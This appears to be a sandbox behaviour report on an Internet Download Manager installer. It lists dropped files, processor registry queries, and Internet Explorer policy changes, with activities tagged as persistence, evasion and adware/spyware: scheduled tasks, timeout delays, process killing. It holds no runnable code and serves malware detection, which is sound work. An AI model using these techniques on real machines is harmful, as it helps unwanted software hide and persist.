File created C:\Program Files (x86)\Internet Download Manager\tips.txt C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_fa.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_it.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\idmtdi32.sys C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_vn.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_hu.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_bg.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\IEGetAll.htm C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\tutor.chm C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\tips_it.txt C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\inst_kr.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\idmBroker.exe C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\inst_cht.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_id.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\inst_mn.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\IDMan.exe C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_sw.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Toolbar\3d_large_3.bmp C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\tips_fa.txt C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\IDMMsgHostMoz.json C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_de.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\inst_pl.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\idmmzcc7.dll C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\idmmzcc3.xpi C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\idmfsa.dll C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Toolbar\3d_smallHot_3.bmp C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\template_inst.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_gr.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_iw.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_ptbr.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\inst_ru.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\inst_gr.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_cht.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\inst_ge.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\tips_cz.txt C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\libssl.dll C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\defexclist.txt C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\IEGetVL.htm C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_tr.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\tips_tr.txt C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_jp.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\idmcchandler2_64.dll C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
File created C:\Program Files (x86)\Internet Download Manager\idmmzcc.xpi C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\IDMGrHlp.exe C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\IEMonitor.exe C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\idmwfp.cat C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Toolbar\3d_large_3_hdpi15.bmp C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\inst_ug.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_ro.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Toolbar\3d_small_3.bmp C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\idmcchandler7.dll C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_kr.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\IDMGCExt59.crx C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\inst_az.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_ru.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\inst_id.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\INF\setupapi.app.log C:\Windows\system32\RUNDLL32.EXE N/A
File opened for modification C:\Windows\INF\setupapi.app.log C:\Windows\system32\RUNDLL32.EXE N/A
File opened for modification C:\Windows\INF\setupapi.app.log C:\Windows\system32\RUNDLL32.EXE N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\System32\sc.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data C:\Windows\SysWOW64\reg.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\system32\runonce.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\runonce.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\SysWOW64\reg.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier C:\Windows\SysWOW64\reg.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\SysWOW64\reg.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Windows\SysWOW64\reg.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet C:\Windows\SysWOW64\reg.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\runonce.exe N/A
Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\runonce.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Windows\SysWOW64\reg.exe N/A
Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\SysWOW64\reg.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information C:\Windows\SysWOW64\reg.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\system32\runonce.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\system32\runonce.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A
N/A N/A C:\Windows\System32\timeout.exe N/A
N/A N/A C:\Windows\System32\timeout.exe N/A
N/A N/A C:\Windows\System32\timeout.exe N/A
N/A N/A C:\Windows\System32\timeout.exe N/A
N/A N/A C:\Windows\System32\timeout.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\System32\tasklist.exe N/A
N/A N/A C:\Windows\System32\tasklist.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\taskkill.exe N/A
N/A N/A C:\Windows\System32\taskkill.exe N/A

Modifies Internet Explorer Phishing Filter

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\PhishingFilter C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\PhishingFilter\ClientSupported_MigrationTime = d0d024cc879bda01 C:\Program Files\Internet Explorer\iexplore.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{15B851AF-A4B9-43EF-97D3-28E1B4A5DB9B}\AppName = "idmBroker.exe" C:\Program Files (x86)\Internet Download Manager\idmBroker.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{15B851AF-A4B9-43EF-97D3-28E1B4A5DB9B}\Policy = "3" C:\Program Files (x86)\Internet Download Manager\idmBroker.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E0DACC63-037F-46EE-AC02-E4C7B0FBFEB4}\AppName = "IDMan.exe" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\LowRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{15B851AF-A4B9-43EF-97D3-28E1B4A5DB9B}\AppPath = "C:\\Program Files (x86)\\Internet Download Manager" C:\Program Files (x86)\Internet Download Manager\idmBroker.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\DownloadUI = "{7D11E719-FF90-479C-B0D7-96EB43EE55D7}" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A}\AppPath = "C:\\Program Files (x86)\\Internet Download Manager" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\ C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\DragDrop\{19129CDA-AFC0-4330-99BC-C5A834F89006}\AppName = "IDMan.exe" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Zoom C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A}\AppName = "IEMonitor.exe" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Download with IDM C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\DragDrop\{F6E1B27E-F2DA-4919-9DBD-CAB90A1D662B}\AppPath = "C:\\Program Files (x86)\\Internet Download Manager" C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E0DACC63-037F-46EE-AC02-E4C7B0FBFEB4}\AppPath = "C:\\Program Files (x86)\\Internet Download Manager" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\SearchScopes C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (data) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000abb8596cc50c0546bfda6658dcffc23300000000020000000000106600000001000020000000914a0965bb3e7c58a6a6000c69306fa9fffec7d099bedf153b01dc1994dfeb61000000000e8000000002000020000000ccb8086e099a679359a225148d0049ac0a6b36c2aa7a104815125fc3764bf259900000005ffefa5ed5f48de560ceb78440cdc29f373a1575e0a95a7e1d4c4c61da717a36693e97c205eefc0f7333da14c1678f50aea1c0cce1734b7a67924dd1a2f8bf967a93fbe3096d08d147c2e17a5f7c4de049b437fda86df7ceb6d3ac42ea8483b93f52be20e7355d391006356be60f05ec7eb7c9e82b627078a56fb7a45930412f6aaf7d6d653317bbf12138b03c9996c4400000000bbe724df76cc39baa7ceeef0076cc2726f5f6a7451e26d421c29494080978e1e11f133caab3cbf2811237d3fd902341f569840e473bd75304e36532f181d6ed C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Download with IDM C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A}\AppPath = "C:\\Program Files (x86)\\Internet Download Manager" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A} C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\DragDrop\{19129CDA-AFC0-4330-99BC-C5A834F89006}\AppPath = "C:\\Program Files (x86)\\Internet Download Manager" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\PageSetup C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E0DACC63-037F-46EE-AC02-E4C7B0FBFEB4}\Policy = "3" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E0DACC63-037F-46EE-AC02-E4C7B0FBFEB4} C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E0DACC63-037F-46EE-AC02-E4C7B0FBFEB4} C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\DragDrop\{F6E1B27E-F2DA-4919-9DBD-CAB90A1D662B}\Policy = "3" C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\DownloadUI = "{7D11E719-FF90-479C-B0D7-96EB43EE55D7}" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\DragDrop\{19129CDA-AFC0-4330-99BC-C5A834F89006} C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Download with IDM\ = "C:\\Program Files (x86)\\Internet Download Manager\\IEExt.htm" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A}\Policy = "3" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\DragDrop C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\DragDrop\{19129CDA-AFC0-4330-99BC-C5A834F89006}\Policy = "3" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "420702896" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E0DACC63-037F-46EE-AC02-E4C7B0FBFEB4} C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\DragDrop\{19129CDA-AFC0-4330-99BC-C5A834F89006}\AppName = "IDMan.exe" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E0DACC63-037F-46EE-AC02-E4C7B0FBFEB4}\AppPath = "C:\\Program Files (x86)\\Internet Download Manager" C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Key created \REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Low Rights\DragDrop\{F6E1B27E-F2DA-4919-9DBD-CAB90A1D662B} C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A}\Policy = "3" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{FD4D60F1-077A-11EF-8F92-565622222C98} = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000abb8596cc50c0546bfda6658dcffc23300000000020000000000106600000001000020000000426a3a2d5c81133846edde40e4f3f6952c4285fca75375cb5485f5f4ba138c47000000000e80000000020000200000000c3c7e73f5deb90308277f15b2c1ebebd61a05584c7d780a81c19c571b018b572000000034c39ed332c9a7387a6d849e2d3166b769774c5d7d481c21042e1b3ba3d47a414000000051b9cfe86f9be6075a2ea96ce9267cfb0e0f2841b967810c5d161deccb2272662917b990b2f6997a8d9df0e2badf5eea36cc5d85f4b7394b464ee435f5c453ae C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A} C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
